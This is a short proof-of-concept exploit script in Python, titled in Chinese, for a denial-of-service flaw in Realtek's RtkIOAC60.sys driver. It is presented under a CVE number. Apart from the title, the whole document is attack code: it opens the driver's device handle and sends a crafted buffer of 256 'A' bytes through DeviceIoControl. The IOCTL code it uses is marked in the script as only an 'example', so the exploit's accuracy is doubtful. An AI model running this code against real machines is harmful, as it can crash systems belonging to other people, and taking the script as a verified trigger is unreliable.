CVE-2025-60419 Realtek RtkIOAC60.sys IOCTL请求拒绝服务漏洞

import ctypes import sys from ctypes import wintypes # Windows API definitions GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 FILE_SHARE_READ = 0x00000001 FILE_SHARE_WRITE = 0x00000002 OPEN_EXISTING = 3 INVALID_HANDLE_VALUE = -1 # IOCTL code for NDIS driver communication IOCTL_RTKIO_BASE = 0x88000000 IOCTL_RTKIO_MALICIOUS_REQUEST = 0x8800FFF0 # Example IOCTL code # Load Windows libraries kernel32 = ctypes.windll.kernel32 def create_handle_to_driver(): """Open a handle to the Realtek NDIS driver""" device_name = "\\\\.\\RtkIOAC60" handle = kernel32.CreateFileA( device_name.encode(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0, None ) return handle def send_malicious_ioctl(handle): """Send crafted IOCTL request to trigger DoS""" if handle == INVALID_HANDLE_VALUE: print("[-] Failed to open driver handle") return False # Malicious input buffer - crafted to trigger vulnerability input_buffer = (ctypes.c_byte * 256)(*([0x41] * 256)) # Fill with 'A' output_buffer = (ctypes.c_byte * 256)() bytes_returned = wintypes.DWORD() result = kernel32.DeviceIoControl( handle, IOCTL_RTKIO_MALICIOUS_REQUEST, ctypes.byref(input_buffer), len(input_buffer), ctypes.byref(output_buffer), len(output_buffer), ctypes.byref(bytes_returned), None ) return result != 0 def main(): print("[*] CVE-2025-60419 PoC - Realtek RtkIOAC60.sys DoS") print("[*] Opening driver handle...") handle = create_handle_to_driver() if handle != INVALID_HANDLE_VALUE: print("[+] Driver handle opened successfully") print("[*] Sending malicious IOCTL request...") if send_malicious_ioctl(handle): print("[+] IOCTL request sent") else: print("[-] IOCTL request failed (driver may have crashed)") kernel32.CloseHandle(handle) else: print("[-] Could not open driver handle") print("[*] Note: Run as administrator or check if driver is loaded") if __name__ == "__main__": main()